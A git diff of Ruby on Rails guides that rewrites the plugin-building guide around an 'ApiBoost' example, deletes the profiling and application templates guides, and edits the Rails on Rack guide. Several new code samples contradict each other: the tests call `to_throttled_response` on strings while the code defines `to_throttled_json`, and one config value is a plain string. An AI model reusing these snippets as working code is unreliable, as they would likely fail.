+=> #<data ApiBoost::RateLimit requests=10, per=:hour>
 ```
 
+The dummy application automatically loads your plugin, so any extensions you add
+are immediately available for testing.
+
 Add an "acts_as" Method to Active Record
 ----------------------------------------
 
-A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
-want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
+A common pattern in plugins is to add a method called `acts_as_something` to
+models. In this case, you want to write a method called `acts_as_api_resource`
+that adds API-specific functionality to your Active Record models.
 
-To begin, set up your files so that you have:
+Let’s say you’re building an API, and you want to keep track of the last time a
+resource (like a `Product`) was accessed via that API. You might want to use
+that timestamp to:
 
-```ruby
-# yaffle/test/acts_as_yaffle_test.rb
+* throttle requests
+* show “last active� times in your admin panel
+* prioritize stale records for syncing
 
-require 'test_helper'
+Instead of writing this logic in every model, you can use a shared plugin. The
+`acts_as_api_resource` method adds this functionality to any model, letting you
+track API activity by updating a timestamp field.
 
-class ActsAsYaffleTest < ActiveSupport::TestCase
-end
-```
+To begin, set up your files so that you have:
 
 ```ruby
-# yaffle/lib/yaffle.rb
+# api_boost/lib/api_boost.rb
 
-require 'yaffle/core_ext'
-require 'yaffle/acts_as_yaffle'
+require "api_boost/version"
+require "api_boost/railtie"
+require "api_boost/core_ext"
+require "api_boost/acts_as_api_resource"
 
-module Yaffle
+module ApiBoost
+  # Your code goes here...
 end
 ```
 
 ```ruby
-# yaffle/lib/yaffle/acts_as_yaffle.rb
+# api_boost/lib/api_boost/acts_as_api_resource.rb
 
-module Yaffle
-  module ActsAsYaffle
-    # your code will go here
+module ApiBoost
+  module ActsAsApiResource
+    extend ActiveSupport::Concern
+
+    class_methods do
+      def acts_as_api_resource(api_timestamp_field: :last_requested_at)
+        # Create a class-level setting that stores which field to use for the API timestamp.
+        cattr_accessor :api_timestamp_field, default: api_timestamp_field.to_s
+      end
+    end
   end
 end
 ```
 
+The code above uses `ActiveSupport::Concern` to simplify including modules with
+both class and instance methods. Methods in the `class_methods` block become
+class methods when the module is included. For more details, see the
+[ActiveSupport::Concern API
+documentation](https://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
+
 ### Add a Class Method
 
-This plugin will expect that you've added a method to your model named `last_squawk`. However, the
-plugin users might have already defined a method on their model named `last_squawk` that they use
-for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
+By default, this plugin expects your model to have a column named
+`last_requested_at`. However, since that column name might already be used for
+something else, the plugin lets you customize it. You can override the default
+by passing a different column name with the `api_timestamp_field:` option.
+Internally, this value is stored in a class-level setting called
+`api_timestamp_field`, which the plugin uses when updating the timestamp.
 
-To start out, write a failing test that shows the behavior you'd like:
+For example, if you want to use `last_api_call` instead of `last_requested_at` as
+the column name, you can do the following:
 
-```ruby
-# yaffle/test/acts_as_yaffle_test.rb
+First, generate some models in your "dummy" Rails application to test this
+functionality. Run the following commands from the `test/dummy` directory:
 
-require 'test_helper'
+```bash
+$ cd test/dummy
+$ bin/rails generate model Product last_requested_at:datetime last_api_call:datetime
+$ bin/rails db:migrate
+```
 
-class ActsAsYaffleTest < ActiveSupport::TestCase
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
+Now update the Product model so that it acts like an API resource:
 
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
+```ruby
+# test/dummy/app/models/product.rb
+
+class Product < ApplicationRecord
+  acts_as_api_resource api_timestamp_field: :last_api_call
 end
 ```
 
-When you run `bin/test`, you should see the following:
+To make the plugin available to all models, include the module in
+`ApplicationRecord` (we'll look at doing this automatically later):
 
-```
-# Running:
-
-..E
+```ruby
+# test/dummy/app/models/application_record.rb
 
-Error:
-ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
-NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+class ApplicationRecord < ActiveRecord::Base
+  include ApiBoost::ActsAsApiResource
 
+  self.abstract_class = true
+end
+```
 
-bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+Now you can test this functionality in the Rails console:
 
-E
+```irb
+irb> Product.api_timestamp_field
+=> "last_api_call"
+```
 
-Error:
-ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
-NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+### Add an Instance Method
 
+This plugin adds an instance method called `track_api_request` to any Active
+Record model that calls `acts_as_api_resource`. This method sets the value of
+the configured timestamp field to the current time (or a custom time if
+provided), allowing you to track when an API request was made.
 
-bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+To add this behavior, update `acts_as_api_resource.rb`:
 
+```ruby
+# api_boost/lib/api_boost/acts_as_api_resource.rb
 
+module ApiBoost
+  module ActsAsApiResource
+    extend ActiveSupport::Concern
 
-Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.
+    class_methods do
+      def acts_as_api_resource(options = {})
+        cattr_accessor :api_timestamp_field,
+                       default: (options[:api_timestamp_field] || :last_requested_at).to_s
+      end
+    end
 
-4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+    def track_api_request(timestamp = Time.current)
+      write_attribute(self.class.api_timestamp_field, timestamp)
+    end
+  end
+end
 ```
 
-This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
-We can easily generate these models in our "dummy" Rails application by running the following commands from the
-test/dummy directory:
+NOTE: The use of `write_attribute` above to write to the field in model is just
+one example of how a plugin can interact with the model, and will not always be
+the right method to use. For example, you might prefer using `send`, which calls
+the setter method
 
-```bash
-$ cd test/dummy
-$ bin/rails generate model Hickwall last_squawk:string
-$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+```ruby
+send("#{self.class.api_timestamp_field}=", timestamp)
 ```
 
-Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First, run:
+Now you can test the functionality in the Rails console:
 
-```bash
-$ cd test/dummy
-$ bin/rails db:migrate
+```irb
+irb> product = Product.new
+irb> product.track_api_request
+irb> product.last_api_call
+=> 2025-06-01 10:31:15 UTC
 ```
 
-While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
-like yaffles.
+Advanced Integration: Using Railties
+------------------------------------
 
-```ruby
-# test/dummy/app/models/hickwall.rb
+The plugin we've built so far works great for basic functionality. However, if
+the plugin needs to integrate more deeply with Rails' framework, you'll want to
+use a [Railtie](https://api.rubyonrails.org/classes/Rails/Railtie.html).
 
-class Hickwall < ApplicationRecord
-  acts_as_yaffle
-end
+A Railtie is required when your plugin needs to:
+
+* Add configuration options accessible via `Rails.application.config`
+* Automatically include modules in Rails classes without manual setup
+* Provide Rake tasks to the host application
+* Set up initializers that run during Rails boot
+* Add middleware to the application stack
+* Configure Rails generators
+* Subscribe to `ActiveSupport::Notifications`
 
-# test/dummy/app/models/wickwall.rb
+For simple plugins like ours that only extend core classes or add modules, a
+Railtie isn't necessary.
 
-class Wickwall < ApplicationRecord
-  acts_as_yaffle yaffle_text_field: :last_tweet
+### Configuration Options
+
+Let's say you want to make the default rate limit in your
+`to_throttled_response` method configurable. First, create a Railtie:
+
+```ruby
+# api_boost/lib/api_boost/railtie.rb
+
+module ApiBoost
+  class Railtie < Rails::Railtie
+    config.api_boost = ActiveSupport::OrderedOptions.new
+    config.api_boost.default_rate_limit = 60.requests_per_hour
+
+    initializer "api_boost.configure" do |app|
+      ApiBoost.configuration = app.config.api_boost
+    end
+  end
 end
 ```
 
-We will also add code to define the `acts_as_yaffle` method.
+Add a configuration module to your plugin:
 
 ```ruby
-# yaffle/lib/yaffle/acts_as_yaffle.rb
+# api_boost/lib/api_boost/configuration.rb
 
-module Yaffle
-  module ActsAsYaffle
-    extend ActiveSupport::Concern
+module ApiBoost
+  mattr_accessor :configuration, default: nil
 
-    included do
-    end
+  def self.configure
+    yield(configuration) if block_given?
+  end
+end
+```
 
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        # your code will go here
+Update your core extension to use the configuration:
+
+```ruby
+# api_boost/lib/api_boost/core_ext.rb
+
+module ApiBoost
+  module ActsAsApiResource
+    def to_throttled_json(rate_limit = ApiBoost.configuration.default_rate_limit)
+      limit_window = 1.send(rate_limit.per).ago..
+      num_of_requests = self.class.where(self.class.api_timestamp_field => limit_window).count
+      if num_of_requests > rate_limit.requests
+        { error: "Rate limit reached" }.to_json
+      else
+        to_json
       end
     end
   end
 end
+```
 
-# test/dummy/app/models/application_record.rb
+Require the new files in your main plugin file:
 
-class ApplicationRecord < ActiveRecord::Base
-  include Yaffle::ActsAsYaffle
+```ruby
+# api_boost/lib/api_boost.rb
 
-  self.abstract_class = true
+require "api_boost/version"
+require "api_boost/configuration"
+require "api_boost/railtie"
+require "api_boost/core_ext"
+require "api_boost/acts_as_api_resource"
+
+module ApiBoost
+  # Your code goes here...
 end
 ```
 
-You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `bin/test`.
+Now applications using your plugin can configure it:
 
+```ruby
+# config/application.rb
+config.api_boost.default_rate_limit = "100 requests per hour"
 ```
-# Running:
 
-.E
+### Automatic Module Inclusion
 
-Error:
-ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
-NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>
+Instead of requiring users to manually include `ActsAsApiResource` in their
+`ApplicationRecord`, you can use a Railtie to do it automatically:
+
+```ruby
+# api_boost/lib/api_boost/railtie.rb
 
+module ApiBoost
+  class Railtie < Rails::Railtie
+    config.api_boost = ActiveSupport::OrderedOptions.new
+    config.api_boost.default_rate_limit = 60.requests_per_hour
 
-bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+    initializer "api_boost.configure" do |app|
+      ApiBoost.configuration = app.config.api_boost
+    end
 
-E
+    initializer "api_boost.active_record" do
+      ActiveSupport.on_load(:active_record) do
+        include ApiBoost::ActsAsApiResource
+      end
+    end
+  end
+end
+```
 
-Error:
-ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
-NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>
+The `ActiveSupport.on_load` hook ensures your module is included at the right
+time during Rails initialization, after ActiveRecord is fully loaded.
 
+### Rake Tasks
 
-bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+To provide Rake tasks to applications using your plugin:
 
-.
+```ruby
+# api_boost/lib/api_boost/railtie.rb
 
-Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
+module ApiBoost
+  class Railtie < Rails::Railtie
+    # ... existing configuration ...
 
-4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+    rake_tasks do
+      load "tasks/api_boost_tasks.rake"
+    end
+  end
+end
 ```
 
-Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
+Create the Rake task file:
 
 ```ruby
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
-  module ActsAsYaffle
-    extend ActiveSupport::Concern
+# api_boost/lib/tasks/api_boost_tasks.rake
 
-    included do
-    end
+namespace :api_boost do
+  desc "Show API usage statistics"
+  task stats: :environment do
+    puts "API Boost Statistics:"
+    puts "Models using acts_as_api_resource: #{api_resource_models.count}"
+  end
 
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        cattr_accessor :yaffle_text_field
-        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
-      end
+  def api_resource_models
+    ApplicationRecord.descendants.select do |model|
+      model.include?(ApiBoost::ActsAsApiResource)
     end
   end
 end
+```
 
-# test/dummy/app/models/application_record.rb
+Applications using your plugin will now have access to `rails api_boost:stats`.
 
-class ApplicationRecord < ActiveRecord::Base
-  include Yaffle::ActsAsYaffle
+### Testing the Railtie
 
-  self.abstract_class = true
+You can test that your Railtie works correctly in the dummy application:
+
+```ruby
+# api_boost/test/railtie_test.rb
+
+require "test_helper"
+
+class RailtieTest < ActiveSupport::TestCase
+  def test_configuration_is_available
+    assert_not_nil ApiBoost.configuration
+    assert_equal 60.requests_per_hour, ApiBoost.configuration.default_rate_limit
+  end
+
+  def test_acts_as_api_resource_is_automatically_included
+    assert Class.new(ApplicationRecord).include?(ApiBoost::ActsAsApiResource)
+  end
+
+  def test_rake_tasks_are_loaded
+    Rails.application.load_tasks
+    assert Rake::Task.task_defined?("api_boost:stats")
+  end
 end
 ```
 
-When you run `bin/test`, you should see the tests all pass:
+Railties provide a clean way to integrate your plugin with Rails' initialization
+process. For more details about the complete Rails initialization lifecycle, see
+the [Rails Initialization Process Guide](initialization.html).
 
-```bash
-  4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
-```
+Testing Your Plugin
+-------------------
 
-### Add an Instance Method
+It's good practice to add tests. The Rails
+plugin generator created a test framework for you. Let's add tests for the
+functionality we just built.
 
-This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
-method will simply set the value of one of the fields in the database.
+### Testing Core Extensions
 
-To start out, write a failing test that shows the behavior you'd like:
+Create a test file for your core extensions:
 
 ```ruby
-# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
+# api_boost/test/core_ext_test.rb
 
-class ActsAsYaffleTest < ActiveSupport::TestCase
-  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
-    assert_equal "last_squawk", Hickwall.yaffle_text_field
-  end
-
-  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
-    assert_equal "last_tweet", Wickwall.yaffle_text_field
-  end
+require "test_helper"
 
-  def test_hickwalls_squawk_should_populate_last_squawk
-    hickwall = Hickwall.new
-    hickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", hickwall.last_squawk
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_throttled_response_adds_rate_limit_header
+    response_data = "Hello API"
+    expected = { data: "Hello API", rate_limit: 60.requests_per_hour }
+    assert_equal expected, response_data.to_throttled_response
   end
 
-  def test_wickwalls_squawk_should_populate_last_tweet
-    wickwall = Wickwall.new
-    wickwall.squawk("Hello World")
-    assert_equal "squawk! Hello World", wickwall.last_tweet
+  def test_to_throttled_response_with_custom_limit
+    response_data = "User data"
+    expected = { data: "User data", rate_limit: "100 requests per hour" }
+    assert_equal expected, response_data.to_throttled_response("100 requests per hour")
   end
 end
 ```
 
-Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
-then update 'acts_as_yaffle.rb' to look like this:
+### Testing Acts As Methods
+
+Create a test file for your ActsAs functionality:
 
 ```ruby
-# yaffle/lib/yaffle/acts_as_yaffle.rb
+# api_boost/test/acts_as_api_resource_test.rb
 
-module Yaffle
-  module ActsAsYaffle
-    extend ActiveSupport::Concern
+require "test_helper"
 
-    included do
-    end
+class ActsAsApiResourceTest < ActiveSupport::TestCase
+  def test_a_users_api_timestamp_field_should_be_last_requested_at
+    assert_equal "last_requested_at", User.api_timestamp_field
+  end
 
-    module ClassMethods
-      def acts_as_yaffle(options = {})
-        cattr_accessor :yaffle_text_field
-        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+  def test_a_products_api_timestamp_field_should_be_last_api_call
+    assert_equal "last_api_call", Product.api_timestamp_field
+  end
 
-        include Yaffle::ActsAsYaffle::LocalInstanceMethods
-      end
+  def test_users_track_api_request_should_populate_last_requested_at
+    user = User.new
+    freeze_time = Time.current
+    Time.stub(:current, freeze_time) do
+      user.track_api_request
+      assert_equal freeze_time.to_s, user.last_requested_at.to_s
     end
+  end
 
-    module LocalInstanceMethods
-      def squawk(string)
-        write_attribute(self.class.yaffle_text_field, string.to_squawk)
-      end
+  def test_products_track_api_request_should_populate_last_api_call
+    product = Product.new
+    freeze_time = Time.current
+    Time.stub(:current, freeze_time) do
+      product.track_api_request
+      assert_equal freeze_time.to_s, product.last_api_call.to_s
     end
   end
 end
-
-# test/dummy/app/models/application_record.rb
-
-class ApplicationRecord < ActiveRecord::Base
-  include Yaffle::ActsAsYaffle
-
-  self.abstract_class = true
-end
 ```
 
-Run `bin/test` one final time and you should see:
+Run your tests to make sure everything is working:
 
-```
-  6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
-```
-
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
-
-```ruby
-send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```bash
+$ bin/test
+...
+6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
 ```
 
 Generators
 ----------
 
-Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
-the creation of generators can be found in the [Generators Guide](generators.html)
+Generators can be included in your gem simply by creating them in a
+`lib/generators` directory of your plugin. More information about the creation
+of generators can be found in the [Generators Guide](generators.html).
 
 Publishing Your Gem
 -------------------
 
-Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
-commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+Gem plugins currently in development can easily be shared from any Git
+repository. To share the ApiBoost gem with others, simply commit the code to a
+Git repository (like GitHub) and add a line to the `Gemfile` of the application
+in question:
 
 ```ruby
-gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+gem "api_boost", git: "https://github.com/YOUR_GITHUB_HANDLE/api_boost.git"
 ```
 
-After running `bundle install`, your gem functionality will be available to the application.
+After running `bundle install`, your gem functionality will be available to the
+application.
 
-When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
+When the gem is ready to be shared as a formal release, it can be published to
+[RubyGems](https://rubygems.org).
+
+Alternatively, you can benefit from Bundler's Rake tasks. You can see a full
+list with the following:
+
+```bash
+$ bundle exec rake -T
+
+$ bundle exec rake build
+# Build api_boost-0.1.0.gem into the pkg directory
+
+$ bundle exec rake install
+# Build and install api_boost-0.1.0.gem into system gems
+
+$ bundle exec rake release
+# Create tag v0.1.0 and build and push api_boost-0.1.0.gem to Rubygems
+```
+
+For more information about publishing gems to RubyGems, see: [Publishing your
+gem](https://guides.rubygems.org/publishing).
 
 RDoc Documentation
 ------------------
 
-Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+Once your plugin is stable, you can write documentation for it. The first step
+is to update the `README.md` file with detailed information about how to use
+your plugin. A few key things to include are:
 
 * Your name
 * How to install
 * How to add the functionality to the app (several examples of common use cases)
 * Warnings, gotchas or tips that might help users and save them time
 
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+Once your `README.md` is solid, go through and add RDoc comments to all the
+methods that developers will use. It's also customary to add `# :nodoc:`
+comments to those parts of the code that are not included in the public API.
 
 Once your comments are good to go, navigate to your plugin directory and run:
 
 ```bash
 $ bundle exec rake rdoc
 ```
-
-### References
-
-* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
-* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
-* [Gemspec Reference](http://guides.rubygems.org/specification-reference/)
diff --git a/guides/source/profiling.md b/guides/source/profiling.md
deleted file mode 100644
index ce093f78bad8c..0000000000000
--- a/guides/source/profiling.md
+++ /dev/null
@@ -1,16 +0,0 @@
-*DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
-A Guide to Profiling Rails Applications
-=======================================
-
-This guide covers built-in mechanisms in Rails for profiling your application.
-
-After reading this guide, you will know:
-
-* Rails profiling terminology.
-* How to write benchmark tests for your application.
-* Other benchmarking approaches and plugins.
-
---------------------------------------------------------------------------------
-
-
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
deleted file mode 100644
index 3e99ee7021d5d..0000000000000
--- a/guides/source/rails_application_templates.md
+++ /dev/null
@@ -1,282 +0,0 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
-Rails Application Templates
-===========================
-
-Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
-
-After reading this guide, you will know:
-
-* How to use templates to generate/customize Rails applications.
-* How to write your own reusable application templates using the Rails template API.
-
---------------------------------------------------------------------------------
-
-Usage
------
-
-To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the `-m` option. This can either be a path to a file or a URL.
-
-```bash
-$ rails new blog -m ~/template.rb
-$ rails new blog -m http://example.com/template.rb
-```
-
-You can use the `app:template` Rake task to apply templates to an existing Rails application. The location of the template needs to be passed in via the LOCATION environment variable. Again, this can either be path to a file or a URL.
-
-```bash
-$ bin/rails app:template LOCATION=~/template.rb
-$ bin/rails app:template LOCATION=http://example.com/template.rb
-```
-
-Template API
-------------
-
-The Rails templates API is easy to understand. Here's an example of a typical Rails template:
-
-```ruby
-# template.rb
-generate(:scaffold, "person name:string")
-route "root to: 'people#index'"
-rails_command("db:migrate")
-
-after_bundle do
-  git :init
-  git add: "."
-  git commit: %Q{ -m 'Initial commit' }
-end
-```
-
-The following sections outline the primary methods provided by the API:
-
-### gem(*args)
-
-Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`.
-
-For example, if your application depends on the gems `bj` and `nokogiri`:
-
-```ruby
-gem "bj"
-gem "nokogiri"
-```
-
-Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
-
-```bash
-bundle install
-```
-
-### gem_group(*names, &block)
-
-Wraps gem entries inside a group.
-
-For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
-
-```ruby
-gem_group :development, :test do
-  gem "rspec-rails"
-end
-```
-
-### add_source(source, options={}, &block)
-
-Adds the given source to the generated application's `Gemfile`.
-
-For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
-
-```ruby
-add_source "http://code.whytheluckystiff.net"
-```
-
-If block is given, gem entries in block are wrapped into the source group.
-
-```ruby
-add_source "http://gems.github.com/" do
-  gem "rspec-rails"
-end
-```
-
-### environment/application(data=nil, options={}, &block)
-
-Adds a line inside the `Application` class for `config/application.rb`.
-
-If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
-
-```ruby
-environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production'
-```
-
-A block can be used in place of the `data` argument.
-
-### vendor/lib/file/initializer(filename, data = nil, &block)
-
-Adds an initializer to the generated application's `config/initializers` directory.
-
-Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
-
-```ruby
-initializer 'bloatlol.rb', <<-CODE
-  class Object
-    def not_nil?
-      !nil?
-    end
-
-    def not_blank?
-      !blank?
-    end
-  end
-CODE
-```
-
-Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
-
-There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
-
-```ruby
-file 'app/components/foo.rb', <<-CODE
-  class Foo
-  end
-CODE
-```
-
-That'll create the `app/components` directory and put `foo.rb` in there.
-
-### rakefile(filename, data = nil, &block)
-
-Creates a new rake file under `lib/tasks` with the supplied tasks:
-
-```ruby
-rakefile("bootstrap.rake") do
-  <<-TASK
-    namespace :boot do
-      task :strap do
-        puts "i like boots!"
-      end
-    end
-  TASK
-end
-```
-
-The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
-
-### generate(what, *args)
-
-Runs the supplied rails generator with given arguments.
-
-```ruby
-generate(:scaffold, "person", "name:string", "address:text", "age:number")
-```
-
-### run(command)
-
-Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
-
-```ruby
-run "rm README.rdoc"
-```
-
-### rails_command(command, options = {})
-
-Runs the supplied task in the Rails application. Let's say you want to migrate the database:
-
-```ruby
-rails_command "db:migrate"
-```
-
-You can also run tasks with a different Rails environment:
-
-```ruby
-rails_command "db:migrate", env: 'production'
-```
-
-You can also run tasks as a super-user:
-
-```ruby
-rails_command "log:clear", sudo: true
-```
-
-### route(routing_code)
-
-Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
-
-```ruby
-route "root to: 'person#index'"
-```
-
-### inside(dir)
-
-Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
-
-```ruby
-inside('vendor') do
-  run "ln -s ~/commit-rails/rails rails"
-end
-```
-
-### ask(question)
-
-`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:
-
-```ruby
-lib_name = ask("What do you want to call the shiny library ?")
-lib_name << ".rb" unless lib_name.index(".rb")
-
-lib lib_name, <<-CODE
-  class Shiny
-  end
-CODE
-```
-
-### yes?(question) or no?(question)
-
-These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to Freeze Rails only if the user wants to:
-
-```ruby
-rails_command("rails:freeze:gems") if yes?("Freeze rails gems?")
-# no?(question) acts just the opposite.
-```
-
-### git(:command)
-
-Rails templates let you run any git command:
-
-```ruby
-git :init
-git add: "."
-git commit: "-a -m 'Initial commit'"
-```
-
-### after_bundle(&block)
-
-Registers a callback to be executed after the gems are bundled and binstubs
-are generated. Useful for all generated files to version control:
-
-```ruby
-after_bundle do
-  git :init
-  git add: '.'
-  git commit: "-a -m 'Initial commit'"
-end
-```
-
-The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has
-been passed.
-
-Advanced Usage
---------------
-
-The application template is evaluated in the context of a
-`Rails::Generators::AppGenerator` instance. It uses the `apply` action
-provided by
-[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207).
-This means you can extend and change the instance to match your needs.
-
-For example by overwriting the `source_paths` method to contain the
-location of your template. Now methods like `copy_file` will accept
-relative paths to your template's location.
-
-```ruby
-def source_paths
-  [File.expand_path(File.dirname(__FILE__))]
-end
-```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index 340933c7ee21f..b5a535159ae2a 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Rails on Rack
 =============
@@ -13,16 +13,16 @@ After reading this guide, you will know:
 
 --------------------------------------------------------------------------------
 
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, URL maps, and `Rack::Builder`.
 
 Introduction to Rack
 --------------------
 
-Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+Rack provides a minimal, modular, and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
 
-* [Rack API Documentation](http://rack.github.io/)
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+Explaining how Rack works is not really in the scope of this guide. In case you
+are not familiar with Rack's basics, you should check out the [Resources](#resources)
+section below.
 
 Rails on Rack
 -------------
@@ -33,11 +33,11 @@ Rails on Rack
 application. Any Rack compliant web server should be using
 `Rails.application` object to serve a Rails application.
 
-### `rails server`
+### `bin/rails server`
 
-`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+`bin/rails server` does the basic job of creating a `Rack::Server` object and starting the web server.
 
-Here's how `rails server` creates an instance of `Rack::Server`
+Here's how `bin/rails server` creates an instance of `Rack::Server`
 
 ```ruby
 Rails::Server.new.tap do |server|
@@ -52,35 +52,13 @@ The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#sta
 ```ruby
 class Server < ::Rack::Server
   def start
-    ...
+    # ...
     super
   end
 end
 ```
 
-### `rackup`
-
-To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
-
-```ruby
-# Rails.root/config.ru
-require_relative 'config/environment'
-run Rails.application
-```
-
-And start the server:
-
-```bash
-$ rackup config.ru
-```
-
-To find out more about different `rackup` options:
-
-```bash
-$ rackup --help
-```
-
-### Development and auto-reloading
+### Development and Auto-reloading
 
 Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.
 
@@ -89,11 +67,12 @@ Action Dispatcher Middleware Stack
 
 Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
 
-NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`,
+but is built for better flexibility and more features to meet Rails' requirements.
 
 ### Inspecting Middleware Stack
 
-Rails has a handy task for inspecting the middleware stack in use:
+Rails has a handy command for inspecting the middleware stack in use:
 
 ```bash
 $ bin/rails middleware
@@ -102,35 +81,43 @@ $ bin/rails middleware
 For a freshly generated Rails application, this might produce something like:
 
 ```ruby
+use ActionDispatch::HostAuthorization
 use Rack::Sendfile
 use ActionDispatch::Static
 use ActionDispatch::Executor
+use ActionDispatch::ServerTiming
 use ActiveSupport::Cache::Strategy::LocalCache::Middleware
